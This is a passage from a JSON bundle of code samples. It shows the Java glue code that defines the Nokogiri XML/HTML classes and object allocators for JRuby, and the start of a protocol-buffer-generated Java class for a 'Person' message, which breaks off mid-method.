(RubyClass)ruby.getClassFromPath(\"Nokogiri::EncodingHandler\"));\n        nokogiriClassCache.put(\"Nokogiri::HTML::Document\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::HTML::Document\"));\n        nokogiriClassCache.put(\"Nokogiri::HTML::ElementDescription\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::HTML::ElementDescription\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Attr\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Attr\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Document\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Document\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::DocumentFragment\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::DocumentFragment\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::DTD\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::DTD\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Text\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Text\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Comment\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Comment\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Element\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Element\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::ElementContent\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::ElementContent\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::ElementDecl\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::ElementDecl\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::EntityDecl\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::EntityDecl\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::EntityReference\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::EntityReference\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::ProcessingInstruction\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::ProcessingInstruction\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::CDATA\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::CDATA\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Node\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Node\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::NodeSet\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::NodeSet\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Namespace\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Namespace\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::SyntaxError\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::SyntaxError\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Reader\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Reader\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::RelaxNG\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::RelaxNG\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::Schema\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::Schema\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::XPathContext\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::XPathContext\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::AttributeDecl\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::AttributeDecl\"));\n        nokogiriClassCache.put(\"Nokogiri::XML::SAX::ParserContext\", (RubyClass)ruby.getClassFromPath(\"Nokogiri::XML::SAX::ParserContext\"));\n    }\n\n    private void init(Ruby ruby) {\n        RubyModule nokogiri = ruby.defineModule(\"Nokogiri\");\n        RubyModule xmlModule = nokogiri.defineModuleUnder(\"XML\");\n        RubyModule xmlSaxModule = xmlModule.defineModuleUnder(\"SAX\");\n        RubyModule htmlModule = nokogiri.defineModuleUnder(\"HTML\");\n        RubyModule htmlSaxModule = htmlModule.defineModuleUnder(\"SAX\");\n        RubyModule xsltModule = nokogiri.defineModuleUnder(\"XSLT\");\n\n        createNokogiriModule(ruby, nokogiri);\n        createSyntaxErrors(ruby, nokogiri, xmlModule);\n        RubyClass xmlNode = createXmlModule(ruby, xmlModule);\n        createHtmlModule(ruby, htmlModule);\n        createDocuments(ruby, xmlModule, htmlModule, xmlNode);\n        createSaxModule(ruby, xmlSaxModule, htmlSaxModule);\n        createXsltModule(ruby, xsltModule);\n    }\n    \n    private void createNokogiriModule(Ruby ruby, RubyModule nokogiri) {;\n        RubyClass encHandler = nokogiri.defineClassUnder(\"EncodingHandler\", ruby.getObject(), ENCODING_HANDLER_ALLOCATOR);\n        encHandler.defineAnnotatedMethods(EncodingHandler.class);\n    }\n    \n    private void createSyntaxErrors(Ruby ruby, RubyModule nokogiri, RubyModule xmlModule) {\n        RubyClass syntaxError = nokogiri.defineClassUnder(\"SyntaxError\", ruby.getStandardError(), ruby.getStandardError().getAllocator());\n        RubyClass xmlSyntaxError = xmlModule.defineClassUnder(\"SyntaxError\", syntaxError, XML_SYNTAXERROR_ALLOCATOR);\n        xmlSyntaxError.defineAnnotatedMethods(XmlSyntaxError.class);\n    }\n    \n    private RubyClass createXmlModule(Ruby ruby, RubyModule xmlModule) {\n        RubyClass node = xmlModule.defineClassUnder(\"Node\", ruby.getObject(), XML_NODE_ALLOCATOR);\n        node.defineAnnotatedMethods(XmlNode.class);\n        \n        RubyClass attr = xmlModule.defineClassUnder(\"Attr\", node, XML_ATTR_ALLOCATOR);\n        attr.defineAnnotatedMethods(XmlAttr.class);\n        \n        RubyClass attrDecl = xmlModule.defineClassUnder(\"AttributeDecl\", node, XML_ATTRIBUTE_DECL_ALLOCATOR);\n        attrDecl.defineAnnotatedMethods(XmlAttributeDecl.class);\n        \n        RubyClass characterData = xmlModule.defineClassUnder(\"CharacterData\", node, null);\n        \n        RubyClass comment = xmlModule.defineClassUnder(\"Comment\", characterData, XML_COMMENT_ALLOCATOR);\n        comment.defineAnnotatedMethods(XmlComment.class);\n        \n        RubyClass text = xmlModule.defineClassUnder(\"Text\", characterData, XML_TEXT_ALLOCATOR);\n        text.defineAnnotatedMethods(XmlText.class);\n        \n        RubyModule cdata = xmlModule.defineClassUnder(\"CDATA\", text, XML_CDATA_ALLOCATOR);\n        cdata.defineAnnotatedMethods(XmlCdata.class);\n        \n        RubyClass dtd = xmlModule.defineClassUnder(\"DTD\", node, XML_DTD_ALLOCATOR);\n        dtd.defineAnnotatedMethods(XmlDtd.class);\n\n        RubyClass documentFragment = xmlModule.defineClassUnder(\"DocumentFragment\", node, XML_DOCUMENT_FRAGMENT_ALLOCATOR);\n        documentFragment.defineAnnotatedMethods(XmlDocumentFragment.class);\n        \n        RubyClass element = xmlModule.defineClassUnder(\"Element\", node, XML_ELEMENT_ALLOCATOR);\n        element.defineAnnotatedMethods(XmlElement.class);\n        \n        RubyClass elementContent = xmlModule.defineClassUnder(\"ElementContent\", ruby.getObject(), XML_ELEMENT_CONTENT_ALLOCATOR);\n        elementContent.defineAnnotatedMethods(XmlElementContent.class);\n        \n        RubyClass elementDecl = xmlModule.defineClassUnder(\"ElementDecl\", node, XML_ELEMENT_DECL_ALLOCATOR);\n        elementDecl.defineAnnotatedMethods(XmlElementDecl.class);\n        \n        RubyClass entityDecl = xmlModule.defineClassUnder(\"EntityDecl\", node, XML_ENTITY_DECL_ALLOCATOR);\n        entityDecl.defineAnnotatedMethods(XmlEntityDecl.class);\n        \n        entityDecl.defineConstant(\"INTERNAL_GENERAL\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.INTERNAL_GENERAL));\n        entityDecl.defineConstant(\"EXTERNAL_GENERAL_PARSED\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.EXTERNAL_GENERAL_PARSED));\n        entityDecl.defineConstant(\"EXTERNAL_GENERAL_UNPARSED\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.EXTERNAL_GENERAL_UNPARSED));\n        entityDecl.defineConstant(\"INTERNAL_PARAMETER\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.INTERNAL_PARAMETER));\n        entityDecl.defineConstant(\"EXTERNAL_PARAMETER\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.EXTERNAL_PARAMETER));\n        entityDecl.defineConstant(\"INTERNAL_PREDEFINED\", RubyFixnum.newFixnum(ruby, XmlEntityDecl.INTERNAL_PREDEFINED));\n        \n        RubyClass entref = xmlModule.defineClassUnder(\"EntityReference\", node, XML_ENTITY_REFERENCE_ALLOCATOR);\n        entref.defineAnnotatedMethods(XmlEntityReference.class);\n        \n        RubyClass namespace = xmlModule.defineClassUnder(\"Namespace\", ruby.getObject(), XML_NAMESPACE_ALLOCATOR);\n        namespace.defineAnnotatedMethods(XmlNamespace.class);\n        \n        RubyClass nodeSet = xmlModule.defineClassUnder(\"NodeSet\", ruby.getObject(), XML_NODESET_ALLOCATOR);\n        nodeSet.defineAnnotatedMethods(XmlNodeSet.class);\n        \n        RubyClass pi = xmlModule.defineClassUnder(\"ProcessingInstruction\", node, XML_PROCESSING_INSTRUCTION_ALLOCATOR);\n        pi.defineAnnotatedMethods(XmlProcessingInstruction.class);\n        \n        RubyClass reader = xmlModule.defineClassUnder(\"Reader\", ruby.getObject(), XML_READER_ALLOCATOR);\n        reader.defineAnnotatedMethods(XmlReader.class);\n        \n        RubyClass schema = xmlModule.defineClassUnder(\"Schema\", ruby.getObject(), XML_SCHEMA_ALLOCATOR);\n        schema.defineAnnotatedMethods(XmlSchema.class);\n\n        RubyClass relaxng = xmlModule.defineClassUnder(\"RelaxNG\", schema, XML_RELAXNG_ALLOCATOR);\n        relaxng.defineAnnotatedMethods(XmlRelaxng.class);\n        \n        RubyClass xpathContext = xmlModule.defineClassUnder(\"XPathContext\", ruby.getObject(), XML_XPATHCONTEXT_ALLOCATOR);\n        xpathContext.defineAnnotatedMethods(XmlXpathContext.class);\n        \n        return node;\n    }\n\n    private void createHtmlModule(Ruby ruby, RubyModule htmlModule) {\n        RubyClass htmlElemDesc = htmlModule.defineClassUnder(\"ElementDescription\", ruby.getObject(), HTML_ELEMENT_DESCRIPTION_ALLOCATOR);\n        htmlElemDesc.defineAnnotatedMethods(HtmlElementDescription.class);\n        \n        RubyClass htmlEntityLookup = htmlModule.defineClassUnder(\"EntityLookup\", ruby.getObject(), HTML_ENTITY_LOOKUP_ALLOCATOR);\n        htmlEntityLookup.defineAnnotatedMethods(HtmlEntityLookup.class);\n    }\n    \n    private void createDocuments(Ruby ruby, RubyModule xmlModule, RubyModule htmlModule, RubyClass node) {\n        RubyClass xmlDocument = xmlModule.defineClassUnder(\"Document\", node, XML_DOCUMENT_ALLOCATOR);\n        xmlDocument.defineAnnotatedMethods(XmlDocument.class);\n        \n        //RubyModule htmlDoc = html.defineOrGetClassUnder(\"Document\", document);\n        RubyModule htmlDocument = htmlModule.defineClassUnder(\"Document\", xmlDocument, HTML_DOCUMENT_ALLOCATOR);\n        htmlDocument.defineAnnotatedMethods(HtmlDocument.class);\n    }\n    \n    private void createSaxModule(Ruby ruby, RubyModule xmlSaxModule, RubyModule htmlSaxModule) {\n        RubyClass xmlSaxParserContext = xmlSaxModule.defineClassUnder(\"ParserContext\", ruby.getObject(), XML_SAXPARSER_CONTEXT_ALLOCATOR);\n        xmlSaxParserContext.defineAnnotatedMethods(XmlSaxParserContext.class);\n        \n        RubyClass xmlSaxPushParser = xmlSaxModule.defineClassUnder(\"PushParser\", ruby.getObject(), XML_SAXPUSHPARSER_ALLOCATOR);\n        xmlSaxPushParser.defineAnnotatedMethods(XmlSaxPushParser.class);\n        \n        RubyClass htmlSaxParserContext = htmlSaxModule.defineClassUnder(\"ParserContext\", xmlSaxParserContext, HTML_SAXPARSER_CONTEXT_ALLOCATOR);\n        htmlSaxParserContext.defineAnnotatedMethods(HtmlSaxParserContext.class);\n    }\n    \n    private void createXsltModule(Ruby ruby, RubyModule xsltModule) {\n        RubyClass stylesheet = xsltModule.defineClassUnder(\"Stylesheet\", ruby.getObject(), XSLT_STYLESHEET_ALLOCATOR);\n        stylesheet.defineAnnotatedMethods(XsltStylesheet.class);\n        xsltModule.defineAnnotatedMethod(XsltStylesheet.class, \"register\");\n    }\n\n    private static ObjectAllocator ENCODING_HANDLER_ALLOCATOR = new ObjectAllocator() {\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            return new EncodingHandler(runtime, klazz, \"\");\n        }\n    };\n\n    public static final ObjectAllocator HTML_DOCUMENT_ALLOCATOR = new ObjectAllocator() {\n        private HtmlDocument htmlDocument = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (htmlDocument == null) htmlDocument = new HtmlDocument(runtime, klazz);\n            try {\n                HtmlDocument clone = (HtmlDocument) htmlDocument.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new HtmlDocument(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator HTML_SAXPARSER_CONTEXT_ALLOCATOR = new ObjectAllocator() {\n        private HtmlSaxParserContext htmlSaxParserContext = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (htmlSaxParserContext == null) htmlSaxParserContext = new HtmlSaxParserContext(runtime, klazz);\n            try {\n                HtmlSaxParserContext clone = (HtmlSaxParserContext) htmlSaxParserContext.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new HtmlSaxParserContext(runtime, klazz);\n            }\n        }\n    };\n\n    private static ObjectAllocator HTML_ELEMENT_DESCRIPTION_ALLOCATOR =\n        new ObjectAllocator() {\n            public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n                return new HtmlElementDescription(runtime, klazz);\n            }\n        };\n\n    private static ObjectAllocator HTML_ENTITY_LOOKUP_ALLOCATOR =\n        new ObjectAllocator() {\n            public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n                return new HtmlEntityLookup(runtime, klazz);\n            }\n        };\n\n    public static final ObjectAllocator XML_ATTR_ALLOCATOR = new ObjectAllocator() {\n        private XmlAttr xmlAttr = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlAttr == null) xmlAttr = new XmlAttr(runtime, klazz);\n            try {\n                XmlAttr clone = (XmlAttr) xmlAttr.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlAttr(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_CDATA_ALLOCATOR = new ObjectAllocator() {\n        private XmlCdata xmlCdata = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlCdata == null) xmlCdata = new XmlCdata(runtime, klazz);\n            try {\n                XmlCdata clone = (XmlCdata) xmlCdata.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlCdata(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_COMMENT_ALLOCATOR = new ObjectAllocator() {\n        private XmlComment xmlComment = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlComment == null) xmlComment = new XmlComment(runtime, klazz);\n            try {\n                XmlComment clone = (XmlComment) xmlComment.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlComment(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_DOCUMENT_ALLOCATOR = new ObjectAllocator() {\n        private XmlDocument xmlDocument = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlDocument == null) xmlDocument = new XmlDocument(runtime, klazz);\n            try {\n                XmlDocument clone = (XmlDocument) xmlDocument.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlDocument(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_DOCUMENT_FRAGMENT_ALLOCATOR = new ObjectAllocator() {\n        private XmlDocumentFragment xmlDocumentFragment = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlDocumentFragment == null) xmlDocumentFragment = new XmlDocumentFragment(runtime, klazz);\n            try {\n                XmlDocumentFragment clone = (XmlDocumentFragment)xmlDocumentFragment.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlDocumentFragment(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_DTD_ALLOCATOR = new ObjectAllocator() {\n        private XmlDtd xmlDtd = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlDtd == null) xmlDtd = new XmlDtd(runtime, klazz);\n            try {\n                XmlDtd clone = (XmlDtd)xmlDtd.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlDtd(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_ELEMENT_ALLOCATOR = new ObjectAllocator() {\n        private XmlElement xmlElement = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlElement == null) xmlElement = new XmlElement(runtime, klazz);\n            try {\n                XmlElement clone = (XmlElement)xmlElement.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlElement(runtime, klazz);\n            }\n        }\n    };\n    \n    public static ObjectAllocator XML_ELEMENT_DECL_ALLOCATOR = new ObjectAllocator() {\n        private XmlElementDecl xmlElementDecl = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlElementDecl == null) xmlElementDecl = new XmlElementDecl(runtime, klazz);\n            try {\n                XmlElementDecl clone = (XmlElementDecl)xmlElementDecl.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlElementDecl(runtime, klazz);\n            }\n        }\n    };\n\n    public static ObjectAllocator XML_ENTITY_REFERENCE_ALLOCATOR = new ObjectAllocator() {\n        private XmlEntityReference xmlEntityRef = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlEntityRef == null) xmlEntityRef = new XmlEntityReference(runtime, klazz);\n            try {\n                XmlEntityReference clone = (XmlEntityReference)xmlEntityRef.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlEntityReference(runtime, klazz);\n            }\n        }\n    };\n    \n    public static final ObjectAllocator XML_NAMESPACE_ALLOCATOR = new ObjectAllocator() {\n        private XmlNamespace xmlNamespace = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlNamespace == null) xmlNamespace = new XmlNamespace(runtime, klazz);\n            try {\n                XmlNamespace clone = (XmlNamespace) xmlNamespace.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlNamespace(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_NODE_ALLOCATOR = new ObjectAllocator() {\n        private XmlNode xmlNode = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlNode == null) xmlNode = new XmlNode(runtime, klazz);\n            try {\n                XmlNode clone  = (XmlNode) xmlNode.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlNode(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_NODESET_ALLOCATOR = new ObjectAllocator() {\n        private XmlNodeSet xmlNodeSet = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlNodeSet == null) xmlNodeSet = new XmlNodeSet(runtime, klazz);\n            try {\n                XmlNodeSet clone  = (XmlNodeSet) xmlNodeSet.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                xmlNodeSet = new XmlNodeSet(runtime, klazz);\n                xmlNodeSet.setNodes(RubyArray.newEmptyArray(runtime));\n                return xmlNodeSet;\n            }\n        }\n    };\n    \n    public static ObjectAllocator XML_PROCESSING_INSTRUCTION_ALLOCATOR = new ObjectAllocator() {\n        private XmlProcessingInstruction xmlProcessingInstruction = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlProcessingInstruction == null) xmlProcessingInstruction = new XmlProcessingInstruction(runtime, klazz);\n            try {\n                XmlProcessingInstruction clone = (XmlProcessingInstruction)xmlProcessingInstruction.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlProcessingInstruction(runtime, klazz);\n            }\n        }\n    };\n\n    public static ObjectAllocator XML_READER_ALLOCATOR = new ObjectAllocator() {\n        private XmlReader xmlReader = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlReader == null) xmlReader = new XmlReader(runtime, klazz);\n            try {\n                XmlReader clone  = (XmlReader) xmlReader.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                xmlReader = new XmlReader(runtime, klazz);\n                return xmlReader;\n            }\n        }\n    };\n\n    private static ObjectAllocator XML_ATTRIBUTE_DECL_ALLOCATOR = new ObjectAllocator() {\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            return new XmlAttributeDecl(runtime, klazz);\n        }\n    };\n\n    private static ObjectAllocator XML_ENTITY_DECL_ALLOCATOR = new ObjectAllocator() {\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            return new XmlEntityDecl(runtime, klazz);\n        }\n    };\n\n    private static ObjectAllocator XML_ELEMENT_CONTENT_ALLOCATOR = new ObjectAllocator() {\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            throw runtime.newNotImplementedError(\"not implemented\");\n        }\n    };\n\n    public static final ObjectAllocator XML_RELAXNG_ALLOCATOR = new ObjectAllocator() {\n        private XmlRelaxng xmlRelaxng = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlRelaxng == null) xmlRelaxng = new XmlRelaxng(runtime, klazz);\n            try {\n                XmlRelaxng clone  = (XmlRelaxng) xmlRelaxng.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlRelaxng(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_SAXPARSER_CONTEXT_ALLOCATOR = new ObjectAllocator() {\n        private XmlSaxParserContext xmlSaxParserContext = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlSaxParserContext == null) xmlSaxParserContext = new XmlSaxParserContext(runtime, klazz);\n            try {\n                XmlSaxParserContext clone = (XmlSaxParserContext) xmlSaxParserContext.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlSaxParserContext(runtime, klazz);\n            }\n        }\n    };\n\n    private static ObjectAllocator XML_SAXPUSHPARSER_ALLOCATOR = new ObjectAllocator() {\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            return new XmlSaxPushParser(runtime, klazz);\n        }\n    };\n\n    public static final ObjectAllocator XML_SCHEMA_ALLOCATOR = new ObjectAllocator() {\n        private XmlSchema xmlSchema = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlSchema == null) xmlSchema = new XmlSchema(runtime, klazz);\n            try {\n                XmlSchema clone  = (XmlSchema) xmlSchema.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlSchema(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_SYNTAXERROR_ALLOCATOR = new ObjectAllocator() {\n        private XmlSyntaxError xmlSyntaxError = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlSyntaxError == null) xmlSyntaxError = new XmlSyntaxError(runtime, klazz);\n            try {\n                XmlSyntaxError clone  = (XmlSyntaxError) xmlSyntaxError.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlSyntaxError(runtime, klazz);\n            }\n        }\n    };\n\n    public static final ObjectAllocator XML_TEXT_ALLOCATOR = new ObjectAllocator() {\n        private XmlText xmlText = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlText == null) xmlText = new XmlText(runtime, klazz);\n            try {\n                XmlText clone  = (XmlText) xmlText.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlText(runtime, klazz);\n            }\n        }\n    };\n\n    public static ObjectAllocator XML_XPATHCONTEXT_ALLOCATOR = new ObjectAllocator() {\n        private XmlXpathContext xmlXpathContext = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xmlXpathContext == null) xmlXpathContext = new XmlXpathContext(runtime, klazz);\n            try {\n                XmlXpathContext clone  = (XmlXpathContext) xmlXpathContext.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlXpathContext(runtime, klazz);\n            }\n        }\n    };\n\n    public static ObjectAllocator XSLT_STYLESHEET_ALLOCATOR = new ObjectAllocator() {\n        private XsltStylesheet xsltStylesheet = null;\n        public IRubyObject allocate(Ruby runtime, RubyClass klazz) {\n            if (xsltStylesheet == null) xsltStylesheet = new XsltStylesheet(runtime, klazz);\n            try {\n                XsltStylesheet clone  = (XsltStylesheet) xsltStylesheet.clone();\n                clone.setMetaClass(klazz);\n                return clone;\n            } catch (CloneNotSupportedException e) {\n                return new XmlText(runtime, klazz);\n            }\n        }\n    };\n}\n"
  },
  {
    "path": "samples/Java/ProtocolBuffer.java",
    "content": "// Generated by the protocol buffer compiler.  DO NOT EDIT!\n// source: protocol-buffer.proto\n\npackage persons;\n\npublic final class ProtocolBuffer {\n  private ProtocolBuffer() {}\n  public static void registerAllExtensions(\n      com.google.protobuf.ExtensionRegistry registry) {\n  }\n  public interface PersonOrBuilder\n      extends com.google.protobuf.MessageOrBuilder {\n\n    // required string name = 1;\n    /**\n     * <code>required string name = 1;</code>\n     */\n    boolean hasName();\n    /**\n     * <code>required string name = 1;</code>\n     */\n    java.lang.String getName();\n    /**\n     * <code>required string name = 1;</code>\n     */\n    com.google.protobuf.ByteString\n        getNameBytes();\n  }\n  /**\n   * Protobuf type {@code persons.Person}\n   */\n  public static final class Person extends\n      com.google.protobuf.GeneratedMessage\n      implements PersonOrBuilder {\n    // Use Person.newBuilder() to construct.\n    private Person(com.google.protobuf.GeneratedMessage.Builder<?> builder) {\n      super(builder);\n      this.unknownFields = builder.getUnknownFields();\n    }\n    private Person(boolean noInit) { this.unknownFields = com.google.protobuf.UnknownFieldSet.getDefaultInstance(); }\n\n    private static final Person defaultInstance;\n    public static Person getDefaultInstance() {\n      return defaultInstance;\n    }\n\n    public Person getDefaultInstanceForType() {\n      return defaultInstance;\n    }\n\n    private final com.google.protobuf.UnknownFieldSet unknownFields;\n    @java.lang.Override\n    public final com.google.protobuf.UnknownFieldSet\n        getUnknownFields() {\n      return this.unknownFields;\n    }\n    private Person(\n        com.google.protobuf.CodedInputStream input,\n        com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n        throws com.google.protobuf.InvalidProtocolBufferException {\n      initFields();\n      int mutable_bitField0_ = 0;\n      com.google.protobuf.UnknownFieldSet.Builder unknownFields =\n          com.google.protobuf.UnknownFieldSet.newBuilder();\n      try {\n        boolean done = false;\n        while (!done) {\n          int tag = input.readTag();\n          switch (tag) {\n            case 0:\n              done = true;\n              break;\n            default: {\n              if (!parseUnknownField(input, unknownFields,\n                                     extensionRegistry, tag)) {\n                done = true;\n              }\n              break;\n            }\n            case 10: {\n              bitField0_ |= 0x00000001;\n              name_ = input.readBytes();\n              break;\n            }\n          }\n        }\n      } catch (com.google.protobuf.InvalidProtocolBufferException e) {\n        throw e.setUnfinishedMessage(this);\n      } catch (java.io.IOException e) {\n        throw new com.google.protobuf.InvalidProtocolBufferException(\n            e.getMessage()).setUnfinishedMessage(this);\n      } finally {\n        this.unknownFields = unknownFields.build();\n        makeExtensionsImmutable();\n      }\n    }\n    public static final com.google.protobuf.Descriptors.Descriptor\n        getDescriptor() {\n      return persons.ProtocolBuffer.internal_static_persons_Person_descriptor;\n    }\n\n    protected com.google.protobuf.GeneratedMessage.FieldAccessorTable\n        internalGetFieldAccessorTable() {\n      return persons.ProtocolBuffer.internal_static_persons_Person_fieldAccessorTable\n          .ensureFieldAccessorsInitialized(\n              persons.ProtocolBuffer.Person.class, persons.ProtocolBuffer.Person.Builder.class);\n    }\n\n    public static com.google.protobuf.Parser<Person> PARSER =\n        new com.google.protobuf.AbstractParser<Person>() {\n      public Person parsePartialFrom(\n          com.google.protobuf.CodedInputStream input,\n          com.google.protobuf.ExtensionRegistryLite extensionRegistry)\n          throws com.google.protobuf.InvalidProtocolBufferException {\n        return new Person(input, extensionRegistry);\n      }\n    };\n\n    @java.lang.Override\n    public com.google.protobuf.Parser<Person> getParserForType() {\n      return PARSER;\n    }\n\n    private int bitField0_;\n    // required string name = 1;\n    public static final int NAME_FIELD_NUMBER = 1;\n    private java.lang.Object name_;\n    /**\n     * <code>required string name = 1;</code>\n     */\n    public boolean hasName() {\n      return ((bitField0_ & 0x00000001) == 0x00000001);\n    }\n    /**\n     * <code>required string name = 1;</code>\n     */\n    public java.lang.String getName() {\n      java.lang.Object ref = name_;\n      if (ref instanceof java.lang.String) {\n        return (java.lang.String) ref;\n      } else {\n        com.google.protobuf.ByteString bs = \n            